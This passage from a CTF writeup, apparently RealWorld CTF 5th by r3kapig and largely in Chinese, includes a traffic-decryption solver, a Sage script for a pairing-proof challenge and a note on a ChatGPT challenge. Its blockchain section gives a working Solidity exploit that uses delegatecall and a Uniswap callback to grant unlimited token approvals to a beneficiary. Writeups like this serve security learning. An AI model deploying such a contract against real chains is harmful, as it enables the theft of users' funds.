x = cipher.decrypt(bytes.fromhex('612cb832389a79ecfb1cf1e6804a111a56e2315f03f2d3ed3a72edab5b9d27d39076f9f5c92c021e07d197073236e5162bfe0271f220cabb514156b881576ce12aa461381627acd023445d15bc7f581eb1d59322d3d0b1ef5917937314d25c28e332db48ea761b4a9167d3558a2f7367315c84fa6f46c62a1e6eb191cf154f150ffe30713e5591e5404b71f0d4a0a23643a154a05a958251cbcfd737c0e4ae20089105e1f793504f9ed9e89c7d3007cab34746abb4276abb90dece2a388d13102c23320d9425beb52beda89e1a166d435e00e9ee5d31cf572cf6b5e7f3eac72c629892a068c0c372a1eeb43e9f23198da4e1cb1044e0faccaa684b18c474f6cb334ad6522f287f1102614d632cb8bc9d41a99b8abc1b1f4f824ab8cbef177576c339780cbd3c149e478a724b0b8f019b107427ee2de217703f7ec65ce6c367983966472787c6a0fe61d6b43a9ea40f5cd3921b6430717f006061ba535ca827fae13d974c3f52d726968bc6944b76f19640857776152f674a614229e9164e8ee3b797c4bd425689515e76a6ce06e84e2fd7e103f6e2853f07918d1884d42a1e912ffd8d2f2b1a2400960ebe423b55d7f855ee79e31614577ddc6b6d1dd6c9da90eeaac8fb8e1be67f3a6dfd3080e100116056eba83edf82730303d65a6655d8c817afd5149f1a1e8b0c066d7e7f08aa7edc24378cd51d174d2079c4ca3e9e3265092c5a8c880f8cfafaf341b6c7062410f8e91a5c403fcacefe0974ae7f6b373c16ffcf6fcb1eb9eec0f114fb2d60f79e81e09da07e4e589821c8183e1aac2b00aa298a072ebd0fdfca26c161cbf1716fee59ed1f00d7d2b726f759ce43d0d31b812b909879f0a6934087d6264dbf913b885fd9b7e8802fa6b17a09e180f109f1776ef56569edbb60420d7a38f8bed800fa6978447765a81e6ed2dc1e1b9f4c38e9778638d8247c1604e9afa6b6a40cd0332511abaa0e66e9c2644e305278753fea68d8afdb36ca3e1abf91f5776c6a7b892625ee9cbe97ef7fbd771def03f1fe7f49b049ed3377445fcd48dad466835ac2b2c730619a7424bec7674e38b8145299aeda42a45fba9b322fed3fda1c1dd12b1b8cb529f3fdec99f347db198434b4e3e603d65df3c75b83b81009b9d96f36f04e20d3b52a4f01bd0a5c808647c1ac69f4ef1c91814ef54e7fcc5f65e7be1dd76b53c680da3bcbac617efd2ba37f90e924adb4547ca1106a0197f7b8b1211f6c911fe7a019fdf358ad992dffccc5b7fdb6b01b8203efd359491367ae7e273a50eb9cda0d2c4b4216658f9d86f7c916b7dcb1d2e20f131c55dfa4b84ca78e97c8ec9a79737232ebc95d25c169f9ae7552bcbf4046424e79acbb16834c24b3f60b62dbe63cd4508d450bb5a1c1ac9efe05c1eb3ce3471f21844be15ef09633423b3dd98c161e367645831acedcd9022f4b9fc55c22ac10597d5d824ac76c6a7c695aefebd9f652f854f40e5504060b9c1424577587ea64b554dc7f0c99271311504c343fe8ec257ea090d493fe23d90f78554b57b380a5c56ca1f69725061890bc9120085444c7025a6d59a959625abb0fdf986ca36362a9cb9ad53213f09ba22efde355b87200c88a5032bbddbf6454a2d98c32a7d19b31fa710d4913cd645e624b364590f846ad0eff05ece6ccaabeb937b42974f9eae9aae45cd29b6a5820f350e255b6e2d0bd34721d5f426e920fd4a23118def8eb2e6b66a92070b4e3b544424cc67df5ce94728bc3176fc4bfe7645fe7a419e5741342c0fd6d0226905519d2f2482fc506c28071e64af0d40b7d6d3970af2e832d9ae786b9abf89cbb319c77827cff84289e56a5a3dc84ef7320f7084697a1b69fd1a06a7b8e1ec261bbde176f43c642383ddf08ce520e5a2c1acee40a266e0bfa612e071c04ddea39b001c0240e8e5f989236993dc1bf1513e186e767a26136a58b07630381def1244d604dc95fe16a44c88d12c41a57880ebc6da9e0333d07e8003ea8ce7757622a2a4b1d5a7d47c9845ad7b5ca49fd4e62d00aa91f64962c33bf1f3958fb4fd13fb26f0035aded8cdd2b8aebe34fcf424521c00959cd3effc21874f7813fa3fde7200d15e796e409b5c033eb12dda87c01e1fe7cdfc0df4369f7147c1b449bc3a09cdc5eaa1cf288e91e8672c572e73ceb965763222338f1a6d035a54394366ce2bf74f4b17560548c6da51aca61e2b4dd32e08d487aa2a23ee279468c98efe1ebd946f04dce9fc3f1c0eae893a70cc4f530e686e822646e50ce888fb250451269f3830b0d5420cafeb618144b46ed71bc1dbdbd5199294d8fecc3614e6975b0db04bb1baea9530f6dbb76fdfbb65055835782215cad6c28e221eef88ca6f23689c20466093a3344c348a6fcaf4f7f67b9619b8c4fccedb011ae538becca8a4abbd1d118584ec85f9283507b8e44c54321948ace46971d793a2031e2bf781a3c53681dc3bb22170c8290527cb5b389310c8653c6b8afaf95f6537ff83f2bb2b5ce13ec849b2d5dc497096e7bb90cb1535cfd17d5d771805721a6d9c0f34c6611a4dab477faa97b12f84f7d8124738b862bee00de4c9089896706c20e3b84e8ebd95b5044761b77f2ee0dc7647fe9a547a1cb643d185a96dc66f3eaea80aa238f9443d078746f32ffb7567ee6657dbe6c248a025c1c5f67c3ece3b5feca0d1b05df87f35eda83488e04a4f7d8f2648ae34dc8e5805e51635ad917f4400e1f1c4e47af9d726074c29d58c8560f2d424d4c2aebd31db481062fb2820e09dd61a034c04f787351b75b01e1f3a4406bd2b5f021eff607c8ff17ef82df18a3cf7bd9bddef686cdbaed54e530959fa5e4c701924c333cc99da6cb721d69addc97d4c8b496405cc3cd538821946770f54487f59c295460be7f541358e5bc6275b38ce58fe5f4ff9e577532c4734c66357c2b7892983626974c3bc78533d8fa8d7ac1deca6a78141ab2d472ec7951e76a0773928e6c2eece57339a4c3095025b6c6a558b4fd2aefd6e8962aa9f013cc0c49b3e4f5028b3cfab1993138f3e4914b3c2c92319260757f4abb6bbb93d77070c173fa58ee17dd60c58d4be6736822cfecbe9b5942b065fa9ed5cd98f040678c4ad1889e82a216d32f3292451dfc786c8dc9e103db34ca800a98d7a233089a3db47c80823171b523ded966b476d042ee450306c99c19e119e034977b47e1f5896dc32ac08679a9ccc7485f32b6a93b4810e715523448d5abb55d28719eff1111e8052db5e272b8edd047c6fea631943c0dd53ce2fbccccc762ef8fcf6b0c9ec00db22c2de742d63ffbef60ef88e37a494f94934b8927ab6a68b56c4039b50e59feeac46d1f4ff8c3941070e729510d27c799bfbf26cbd6c9751529079eafad444947c16f4274d71e9e0f4687734e28571af8b6498b7a34877dd131d240e1d187f527770c0086f9010249060794c188562d5e97254fc6814b747c412025199b1e36075d8a436e9be37abe6b2e1869f8beffdd9b641512605977f0abbb15c2104642af38f3898424594d5b9f735198983638311fb4b25e325a7887ff5d1765294a6114160f1d7bdfb5dfef1b872be3a75aca7557f75cbd2f241b2f7e3040dda41ffc38bd10b28304d1efd0bb2e2b045db8b2e8c71ce73d7d99d746857af1209a58968ce18b44a577aa4d05f05b05666c17f02ed09496aa9c78eeda68fea35f0fb7d14ffb21e26c3fd8a62feca0f50e851406bb227cb9e31233580d1ac6a8ef9e547f077da92b5535682a4217d160d58bc4cb363dbd24a3ebb471168875d89a43e0f6c9821a94d711017412064b8f509cc9511db369981f7e19d26e1ea265cbf181a8eb901b40ce6354e5e0747e4bfeba05ef3f1a22ee3861b1f250dcb0dc48d24287fc6d02b41b24482d7facb5405bc5b184bc5c34f127df9c383f06e430f2cdaa1aded3f3cb4bca95280f319c9bdc052e6b7ff74e69101eb1148ec716ae0eaae6c5d45fd126932a28ac1c2466797a6c27c53aac5777cccc5cbaa80e965db1646f2f63b91dd3cab2e26d4968610a18e3744c0e5568f9a97600f6e653f5df51cb97b1b233379b1aa938ffa4a0289cc6201916bf12a0e28630b0d33d1c9382ef0cf6e235139c7a1a9a628aec249fa06842ee4aa7e499e21e7e0c150e0b8ff7727c0b6ca3597191531927ac2974599575fe824244e4ff6d967abd6d2a3aed3ec1ac26ee19f423a7a08907eea2b6ca169a99be43324c1c7b187b659a6473d5088e19812b60c2e314c063e560e65b88c09fd880041fe9526597dc85e83254eb64c6b0ff3e45b87bc802799d1c01894889dd57b0fd2b0001b1f28b2d7e00940847081384d945d172152d69b31c44b5e0cf62dc85e90851be64dddd55aa659e8c405fbbdd4095d0b4b4540e56b7115c104ab903b877a4fc8fe83ef74f327f2228d6242638088f870b73c0a2feb3e272fd0feba7609d585af9a452988425a28d12a583306a178444ef5f4bbcf97ef93a0291199b0d9548277195c3914625db22a5a9edd1ec89ad334076e7b252727d7ccc2603cebafc70e48411a00c1725a9ad1dcf160dc1cb7c9caeaf35576b1f76029ff4fdc73b5f0c8e1fdd74a95ad6c214a9e0eca0ff5e01a4e86f5f3bb71f817bbf6af2ea29e8ee845250eee1ffae71417887f0c652827d3fb8329c988fec2b1a3f2c36a758bd2791929aa6bcf87a6dc910aa369a866c38734ee320fd57f4b7598fb1033fd4d81256b4a44ce6e0839276507fdb7c1b879938eb805756a046149bbfd555ccf7495456a0f23f3e2fd2395938c57936859a9d07e1df26d4c63b3183e839be4eca5300e9c8efecf50d9e928e9e63792d7faa72a58b859127fd16de31d3442be64fae1c3b8dabb0375f15a14cd1a3fc19445bf89126beba97c7493f39cc940069b329d401a8acca9d78871f5cf23bed267cc2585ca28a105f1d3df066c845250f2f36a428b3dce760981eaf1cee2a439f3dd63968612f629e545a0ebaffd0919121bb3c0fed4ba3cbf914343628afae23e43aaadb553cfd870ca957bbd83467fd858bebda0de890059b0b96b1def58bdba459aa21256aa3aa8c631968e7c2a79dcd2916ddd1222489e234bcf9d38c2366376616ff542286'))
i = 0
cou = 0
rsa_key0 = []
checksum0 = []
content0 = []
while 1:
if x[i:i+4] == b'': break
length = u32(x[i:i+4][::-1])
i += 4
if length == 8: # initialize packet
i += 8
elif length == 72 and cou != 2: # rsa key exchange
buf = b''
cou += 1
while length == 72 or length == 10:
i += 8
buf += x[i:i+length-8]
i += length - 8
if length == 10: break
length = u32(x[i:i+4][::-1])
i += 4
rsa_key0.append(buf)
elif length == 40:
i += 8
checksum0.append(x[i:i+length-8])
i += length - 8
else:
i += 8
content0.append(x[i:i+length-8])
i += length - 8
# print(len(rsa_key0))
# print(len(checksum0))
# print(len(content0))
# print(rsa_key0)
# print(checksum0)
# print(content0)
cipher = ARC4.new(b'explorer')
x = cipher.decrypt(bytes.fromhex('612cb832389a79ecfb1cf1e6804a111a56e2315f03f2d3ed3a72edab5b9d27d39076f9f4c92ca4c0a2f3988e14367568be7e01d51d3061331adc5b5dff03a19f4c91df0c57342863124f387b03c88ae24f99ff9797d6e35819b2fc862e722294ebb30e1bea761b4a9167d3558a2f736677aef8b1de5dbad437824e98cb178e4281373cf6e54e69e5705c96d4788a784b2246bb552add44157d9d94ce7d9b8342a8254c3358b474e0cf747517bfa2f561b34746abb4276abb90dece2be4291441f1f389b5bf12ee5eacda891e524a96c3f28ab9126081852a2967e6b2d5ccd2b3a2f1e6375ccbde6214e1011744d65f87c67e59c4d994dfcc83501752c474f6cb334ad6522f287f1008be12ccfa7aae4bde26e9e0df5c23e17224a20647494e604776fff2434d49b3a6380dcbefc28892ca0f3cc00739a3c9e99b44362e95f747fbb7aeb58f11d22661d6b43a9ea40f5cd3921b657cf17f006061ba535ca827fae13c974cbf6b91405d8a6a6626946417f14a42197b5a0c6cb0ea27e707a2ff774e903bec7c0bf228261b7fc17e29f393e04d5a82dd878e7ce1cb06083f1255ad59a98d2f2b1a2400960ebe423b5411b66c52fb12950cfe804dba3322f917a84dee317f55afa16b933af12efe0bb4bb6374b44d17d3ac86db2c5fe964ac09155dd21c7d2ad24951420f56ead8ad35aa7edc24378cd51d174d20789fb1a4c42f495b0a9b76618653ce3f5372ed570f452d92f735e2ea8162282ad2896effa04a4c98e289daedf2cab767adcf0d09b002df14197bf0d6c48c2bfbd6183e1aac2b00aa298a072ebc07d0ccaba0d9973bb96e8e812e400be2edc37f9c0625e210fa314a42801d7b9edef0c573c44c77b190e436874bb2cdf257c9824bed624319010f52de5f47a5d7bb60420d7a38f8bed800fa6867ed7765a81e6ed2dc1e1b9f4c39938492786782b2d601002864544490ae43be76c691e6e5e6a7b2961793ce7e9eea68d8afdb36ca3e1abf91f40d9f7e3b3680eb2e9957102d9d5deb639f98969344a1334688e5af639e7b437bd466835ac2b2c730619a7424bec7674ed18709f94f5f5efbaeb9661255be06a3ead120174176c0f67bd58ae1df5f6a9f198434b4e3e603d65df3c75b83b81009fcab78806f6b1002a1e85ae7b2283c01a07e3537655d1098044998907d4ff66465e7be0dd76b53c680da3bcbac617ecd7f2a17535e4ffafe5bef647446695ea5cd0e3ab1a8f7d2a001d2e7a37815720d1027f3e5fc65c6441367d1e5bbe5869e442ed33cc4be076f730fcec9b8fe836637f23ef6f81577278f78d764ba4ce4f3b15bd09af9e839ec1e74f662b3dbd3e348427ad579167296e96d951d18d5ae30b5b708fcc3c6e3e588f68f2bda24efefcb94f45ddd7db905c669111ae0d40ce07d471b6290eef84aade1b8a18dc6627568b094135965a5d659d6050b25ec05fd15cad664deeed8d3c0491ea382b078fff324952323eaf8f49c41f2f0e0c392d7938a897d754e4f4638e79b5207608aa97bfba8bc06e21c224dfe5e874d5157e1ac6951fbb1417e43e090d9d9a1ece2ebc741a90a5d34072dd229466db106e4ba7f7cd0481fee97227765e4ed132b71899231872ff364e7f74148277dc6004f29acbca1d5ce59370171f4c3a1f8c92315f9fd36a44e4800b439a8dfe419ea2fd0c28ba6aa2626e9751c2a5b04b18faee2566f566d0a7bf567246ba974abe95215da620d6c8e01abb5f21cd91a1d747557e7ad1999c3879e286458242d47c7321355e940e0bd979077bf4bcbde57af8eaf64819442f46e3ecb162f61a494a0400559926bcde9ee933e442d54069113b2e82d07db493dffe59457a2ad5d81f310af06b9c73063e489e83e6e690eba9ca40cc010166d9e89a49e58b53c7cd3522fe9e05139b18862f7009b17bf3cbcd164a04b76f166c12621b9db7e5f5856613dd208c2baf4a939e015f2d443e9b7b23037b843937da5f5ddce44c966efe417d14f7d4ab599ae9b375b27daaf6b6c1abbfdf5c007e9fe1b317e96de1a660c685b4b4f18acb8def67ceb66318b5b2f9fb8009b95833c3725a0ad41c71c78655b67ffc23e9e1cb6279da4379e3be169ba9c8176723a5f7785e689bf94fb2bc372786feb16812492e40ad30e934c8e8d377f022d954d13213abaa9041e789b8d55dc112d4626c7f892ec4eda35480528af0ecaf0d95418ec58e6f4c8de0c0145a7afbdefe1ebc446f04dce9fc3f350dfac8271f883200c1de7f4e7f176c5dfa4a4105a7f878518cdaa480396e9a2a7e51416fd5a7f139f9c5ef3d54ff70d75e1431b0e60857e1d677f79c5487a5dac4d25d3250e5198fc2642fe3b814ddfed3e111fd13a0346b2db2d89aee370d3937db5f8a5802f4e0ba15746bfbcf36fc9cf305af6993059eec6dad467424963f989c8e5fdad28ce9a983c3c26502d0aedfff025a3b113aecc5faec7d0dfe9d55a8c43a6191aca49bde7e62a5adc18d5731cbf7ceb3b563252b5ad15615cbcbedff7d6fd439e4de86447a529da4bca06db6399a8a43feb05d26a9748e071be2091cbef40e90cf038823e4aae385692c1b3a28f5ec75f09cb31e57a75e56bec8fc8eba271a83718a103835eff63752c7793eeb92fbb3b49ab51c6c3d8d29eff6a914d606859ac7fe027ece0a20bf503054b9496467390dd1253e49d609f4557e223926d0f8d12190eb46af597980ca3f3e79a2c8b94779b7fde110bcbefff22201249d41ae056c12ad1688204c118eaf0a1a745d128279ce02516ea6c741afb126288d7ba5371f1f6e833b806f299562976d92efb42f990fd9d16bf281224c66d35526286839eb122903078029ecc7c7e23833a701d53a2344eace7c003738d9a67c0606f30c0457341c12b1063469112db89ccf2311db3479793e2429dd3611c93b9013de2b0e5615f4d0a26e83f3a7334d7ae7917520484326a5074c07fc091f59a5cc8824f59c8831ce97a97e3bde3c8b935f66255a0d9b943c1ab939c995bb81d26fffd63feb44408891c03865f7f7c88055e2725e96d988fffad242ec02ef36a73dcf217da7fa19b2547de3618999e876271a0cbae3b8b9258dd95a962778e0e8657bdc1aa9512d0677a81860756f19e72389b5a34e8afb38fd42fe76df36424f2379b32cfc2743b09feeb4139f934e1b9d6da10837375bfb0b717f4733b2f6045b7f52f28e174b97d6312faeceaa4b3add951e90dca757629626b466b479968ce9849a908062c5f1210bcd2baec9c70d8cba30afe3e18cbf4c6a91c8cd97548e677f23cec0ca29f5598f6f5287e6fdadee041e90b46de53b20eaa29befb21183f064914292d7b763d4b7303e3b15aee9416a3bf00f70414d2a6be3ddc0381ad44490dc16f427dd71e9e0caf7276bda41154afe95bb0b72c8478696ae2170b25489b358fbf40d41814b7da244faaa3fd5257c5bbb0654c30d4a3054bdd589c0c516a3e7ae0b6981376cabbe0df7f674e1ba7eb769f7e638007d0ec7c8af6dec07b86c286798996698f7c435b9f30de4e1435195c3531151d37d4fce842b086cd0759daa3a84ce51fe5b668bd667213ceec60d8bb87e8dfa36fc5fc468efc51914090a3673e0f0b0499ef98bb2f2b055dbab3eb47140abb6c825990a566a4d853faa074a9b7dfedbb48e12a57c7a8094c6c5555126e613c84c6c9c74de311cd1a4a683c1cc9719d8ed414029c9f8fcf766c466e2234b9ab1232580c1ac4ebae8b13ca10d24ce3e73483df83fa5f477ac602f6a85796b66627044888c6201c76c423c1977f7fba20a16969107ec52daea0195a7f4b28dc839239a4d015f488e1f1c9a8e1901a40cf63565a79bc01b251791482742c3040a24037c7552208e289cef63cf684a17559b8ccbb819cd28ba42496777fe372cab67b487eef4d1c1beadb3cc21fec221c29b3ea4baeea8a22d60a3b629cc06d330f3f9568434f35fa98605cd4adcc20ea96a4d57a61f0c575da38f022471a289ea53ae329381b1d1115f9cf3a9e461b1c114285ad2647db88ad227a73e050e7672cd1d8dd650a7f1e6a6a1ba34893d69b32a970ffa5a0299cc5c82d982611a5f79c366a6a525342f7f55819a0ec72ea3a510343319083956c249c5ae2f4ce48f22015dff078bebb30fd7974c74549c70addd0ceb9484fb5ee533d84f3b159a9819aaa824651c32e6105ab849ea88e870305a7b12f4a2af637a06b8ce6f112596c91695011e46153f28d0379509e8fa8288e19a9dbc2dac944a8f3e98d261b430895a1ee5c03c1ea9978b0f53e0db87ac803799fd98a89488bf5752258b9b68e6a0776cf6772b5ea70dd182ecbf9aa76471d19254d18f2edbd747fd7ad9ec925b43d84749e8c52f6584b963f4b21024fc17f47db2f02495ba28d075f6104b2e8c230b0365d2943edf612969397f9d9a0c414fa95fa9c46a9d2719d8752855eef7dfdf7a1e9fd49a1f90547cd1353d003862c2a84701c811ae3125be9f33945717263914625db22a5a9edd1ec89ad64dbcbb43949d8dd72b183411fc9cb0ccc468edbf55a253da57e56bc8d7999c7e6f9f2e7bd81fdc43a03ff7fa6e1a7a68b5c5cfe95cf14f4595d1ab2e12c41d7a4e86f5f3bb71f817bbf6af29e67eed71ea0377305d554be7f6fc564a31c046c6a15253692bb8983fe3358e91c814218db4445bd798d17fda7a28251def77affc21fb2e648eeb1a5168bb81a3fd4d81256b4a44ce6e083923fe387b6f38f157fa30a5e92f93c0a0669ac71b87eefa7473e522b6c2d7a766f7f2d73bb6b65d93bbf68154991c78b60df60cd68896a7bebe536b8d324a4f4a08e9e630d2d7faa72a58b85919b2e6200ae907d360282f60810b74c39640ad0284a29b79b5e7c88afcd874e50b7ae68865af01ac042a59156da18ada3329df85457145c64d0549ec00d0a72db15d4f5c3018588b72201ab9d4c7b2899cad096775679415331543705a77b0835c3c8f44f148223d08f122824851b13b092362308feffdeb4e9fd1a53a34ed5664c01aa5465ec9422f464b253d30d86ff059b0bbbb1def58962d88b402b06477c1936c396d6a20d553e627e1dbc451438fd6212d25d1490a01997fda0d9c31bf14d241ff26df64be47d06716362cc5c4d569fc24ef54fe9dcfb3d54b40aa6b4963848178728547e99ef4fa167e4b7d2501fbfdfbd48024ff79e37ee91a81b44b430ffc51d1dfa18947bc3723a94ff182a7ee724445bc1b213cdfb054b884ce8a09e9c470f9e8342b3e0ac91f49f1ebfc15c141f081ad56428f9fee34a056b6cde78960b5f168de599ff3f39e64ca92573fe02afdeaec876f4f59afcd454c66e3b762d26ce288ca343b1799fe7c3d99e4df645116242c7444e5c73e9b94cb765a11c58d60e5e254c10fb10acdca8c6f27dcbd19cd2b2205bf73aa88cc4939ef11b'))
i = 0
rsa_key1 = []
checksum1 = []
content1 = []
cou = 0
while 1:
if x[i:i+4] == b'': break
length = u32(x[i:i+4][::-1])
i += 4
if length == 8: # initialize packet
i += 8
elif length == 72 and cou != 2: # rsa key exchange
buf = b''
cou += 1
while length == 72 or length == 10:
i += 8
buf += x[i:i+length-8]
i += length - 8
if length == 10: break
length = u32(x[i:i+4][::-1])
i += 4
rsa_key1.append(buf)
elif length == 40:
i += 8
checksum1.append(x[i:i+length-8])
i += length - 8
else:
i += 8
content1.append(x[i:i+length-8])
i += length - 8
rsa_key10 = b''
for i in range(21, 26):
rsa_key10 += content1[i]
rsa_key11 = b''
for i in range(26, 31):
rsa_key11 += content1[i]
rsa_key00 = b''
for i in range(24, 29):
rsa_key00 += content0[i]
rsa_key01 = b''
for i in range(29, 34):
rsa_key01 += content0[i]
aes_key = []
# for i in range(2):
rsa_encmsg = rsa_key00[2:]
x0 = rsa_client_decrypt(rsa_encmsg)
rsa_encmsg = rsa_key10[2:]
x1 = rsa_server_decrypt(rsa_encmsg)
rsa_encmsg = rsa_key01[2:]
x2 = rsa_client_decrypt(rsa_encmsg)
rsa_encmsg = rsa_key11[2:]
x3 = rsa_server_decrypt(rsa_encmsg)
aes_key.append(xor(x0, x1))
aes_key.append(xor(x2, x3))
x = b''
for i in range(36, 40):
x += content0[i]
try:
iv = x[4:4 + 16]
enc = x[4 + 16:]
ans = aes_decrypt(aes_key[1], iv, enc)
unpad(ans, 16)
print(ans)
except:
try:
iv = x[4:4 + 16]
enc = x[4 + 16:]
ans = aes_decrypt(aes_key[0], iv, enc)
print(ans)
except:
passCrypto:
0KPR00F:
由双线性映射的性质
需要构造
容易计算出
则可以令
上面所有项都已知，直接计算即可
exp:
# sage
p = 21888242871839275222246405745257275088696311157297823662689037894645226208583
curve_order = 21888242871839275222246405745257275088548364400416034343698204186575808495617
a = 0
b = 3
E = EllipticCurve(GF(p), [0, 3])
# 输出复制到这里
u,v = ([(1, 2), (17594011244036726204148775053722298418355885678242330856042558443003416271358, 9864269454188687296916879203588081147069391802115909892998370853076735451088), (9582033761520609977067243276111765174780467007035657754108644309456311493412, 363082710746663210829953368012536103994697286891196104900121692862812378014), (4111129978068730876606719965689761842680095318196116780908148918092075611072, 11388292103436967067319015389479090136816684072615483483423851853417031328909), (15791952945347456581823691803265299443485440501444665496524420276400624045275, 18361160070966126304192203315535116416741869973218108943143343418823594134766), (20554731742852653423284025291647465423309460135828433189788883260208962559032, 5923425253966204552541211500537555656550465034919631380437890945702932097462), (1908105765070560338725700627238464267310513568390287634085550210004291696537, 17405316260124375494170658191199568328631207617895473455226857870436755737396)], [(9634894927939011348896355768859169210063455134929111433831297385479068366468, 18706704209312471648463268908349843193892042148771880665056881652483058677682), (13148083554881542368370385329805381103598980629800713224302792863789627802216, 2856293213988633205564182295926834666147944039356268015083515711649144957321), (14202151665385345693006926014620748851038130099881473622440144597252733104220, 21108174329955240774006013975070596161606617072479534235944174958548707636093), (19878512987113704124770750579916032464836816236119605579946357105623633546778, 18706916030044806095072230831913224917430037223323359738357805511683262571633), (2375835580706880147142215933820110173868735430945856445482901423796266462786, 2958305725183237892210833235538990402981827778100670244520151382554599440392), (19940271043433844146454721486594462228680503378590251986212990904445328136928, 17066962637827539033559101382545985449198363467361427626172173878295119604242), (20951864506589577158275286569085741343852480332645282939376008583000889823629, 14663822506177028598478223151045485085348064734341660362522571435055459631346)])
for i in range(len(u)):
u[i] = E(u[i])
for i in range(len(v)):
v[i] = E(v[i])
o1 = u[4] - 10 * u[3] + 35 * u[2] - 50 * u[1] + 24 * u[0]
o2 = v[4] - 10 * v[3] + 35 * v[2] - 50 * v[1] + 24 * v[0]
o3 = u[0]
# 复制这里的输出粘过去
print(o1.xy()[0], o1.xy()[1], end=" ")
print(o2.xy()[0], o2.xy()[1], end=" ")
print(o3.xy()[0], o3.xy()[1])Misc:
Chat-In:
是个chatgpt 但是作为签到也可以直接当Linux终端来做 cat flag 即可,后面版本需要过个pow 不过用他给的脚本就行
https://gist.github.com/WinMin/b93c7ee59a7bd0c7f2ed4aa5eed7e2d6
BlockChain:
realwrap:
Delegatecall:
https://medium.com/immunefi/moonbeam-missing-call-check-bugfix-review-6279d609bdc5
Call:
利用链：
UniswapV2pair Call -> Attack Delegatecall -> WETH.approve UniswapV2pair Call -> Attack Delegatecall -> WETH.transferAndCall -> SPT.approve
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./UniswapV2Pair.sol";
contract ExploitPrecompliecontract {
address WETH;
address Simpletoken;
address beneficiary;
UniswapV2Pair uniswap;
constructor(
address _WETH,
address _Simpletoken,
address _beneficiary,
address _uniswap)
{
WETH = _WETH;
Simpletoken =_Simpletoken;
beneficiary = _beneficiary;
uniswap = UniswapV2Pair(_uniswap);
}
function stealLater() internal {
(bool WETHsuccess, ) = WETH.delegatecall(
abi.encodeWithSignature(
"approve(address,uint256)",
beneficiary,
(uint256)(int256(-1))
)
);
require(WETHsuccess, "WETH approve failed");
(bool Simpletokensuccess, ) = WETH.delegatecall(
abi.encodeWithSignature(
"transferAndCall(address,uint256,bytes)",
Simpletoken,1,
abi.encodeWithSignature("approve(address,uint256)",
beneficiary,
(uint256)(int256(-1)))
)
);
require(Simpletokensuccess, "Simpletoken approve failed");
IERC20(WETH).transfer(address(uniswap),10);
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
stealLater();
}
function steal() public{
UniswapV2Pair.swap(0,10,address(this),"0x1C3C");//need 10^-17 WETH
}
}原文始发于微信公众号（r3kapig）：RealWorld CTF 5th Writeup by r3kapig
